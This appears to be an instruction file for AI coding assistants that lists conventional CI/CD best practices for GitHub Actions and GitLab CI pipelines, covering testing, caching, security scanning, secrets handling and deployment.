CI/CD Best Practices

---
applyTo: "**/.github/workflows/*.yml, **/.gitlab-ci.yml"
---

# CI/CD Development Instructions (2025)

_Last updated: October 2025_

- Always use the fetch tool to look up the latest CI/CD documentation: GitHub Actions (https://docs.github.com/actions), GitLab CI (https://docs.gitlab.com/ee/ci/)
- Implement automated testing in CI pipeline
- Use caching to speed up builds
- Implement security scanning and dependency checks
- Follow least privilege principle for CI/CD credentials
- Use matrix builds for testing across multiple environments

**Core Principles:**

- Fail fast: run fastest tests first
- Keep pipelines simple and maintainable
- Use reusable workflows and templates
- Implement proper error handling and notifications
- Version control all CI/CD configuration
- Document pipeline behavior and requirements

**GitHub Actions:**

- Use official actions from GitHub Marketplace
- Pin action versions with commit SHA for security
- Use workflow_dispatch for manual triggers
- Implement concurrency control to prevent conflicts
- Use environments for deployment protection rules
- Store secrets in GitHub Secrets, not in code

**GitLab CI:**

- Use stages for pipeline organization (build, test, deploy)
- Implement only/except or rules for conditional execution
- Use artifacts for passing data between jobs
- Implement cache for dependencies
- Use GitLab environments for deployment tracking
- Store secrets in CI/CD variables with protection

**Build Stage:**

- Install dependencies with lockfile for reproducibility
- Use caching for node_modules, pip packages, etc.
- Run linters and formatters (fail on violations)
- Build artifacts and validate output
- Run static analysis tools
- Generate build reports

**Test Stage:**

- Run unit tests first (fastest)
- Run integration tests
- Run E2E tests in parallel when possible
- Generate test coverage reports
- Fail pipeline on test failures
- Upload test artifacts for debugging

**Security Scanning:**

- Scan dependencies for vulnerabilities (Dependabot, Snyk)
- Run SAST (Static Application Security Testing)
- Scan container images for vulnerabilities
- Check for secrets in code (git-secrets, trufflehog)
- Implement license compliance checking
- Run DAST for deployed applications

**Deployment:**

- Use separate jobs for different environments
- Implement manual approval for production
- Use blue-green or canary deployments
- Implement rollback capability
- Use deployment slots or feature flags
- Monitor deployments with health checks

**Docker Builds:**

- Use multi-stage builds for smaller images
- Cache Docker layers for faster builds
- Scan images with Trivy or similar tools
- Tag images with version and commit SHA
- Push to container registry with proper credentials
- Use Docker Buildx for multi-platform builds

**Environment Management:**

- Use separate environments (dev, staging, prod)
- Implement environment-specific configuration
- Use secrets management for sensitive data
- Implement environment protection rules
- Use infrastructure as code (Terraform, CloudFormation)
- Document environment requirements

**Performance:**

- Use caching aggressively (dependencies, build outputs)
- Run jobs in parallel when possible
- Use matrix strategy for multi-version testing
- Optimize Docker layer caching
- Use self-hosted runners for faster builds
- Profile pipeline execution time

**Notifications:**

- Send notifications on failures (Slack, email)
- Implement status badges in README
- Use commit status checks for PR protection
- Send deployment notifications
- Implement monitoring alerts
- Log important events

**Best Practices:**

- Keep workflows DRY with reusable actions
- Use meaningful job and step names
- Implement proper error handling
- Use timeout to prevent hanging jobs
- Clean up resources after jobs
- Review and update workflows regularly

**Monitoring:**

- Track pipeline success rates
- Monitor build times and optimize
- Set up alerts for failures
- Use dashboards for visibility
- Track deployment frequency
- Measure lead time for changes

**Summary:**

> For all CI/CD work, always use the fetch tool to look up the latest documentation. Build reliable, fast, and secure pipelines that give confidence in deployments.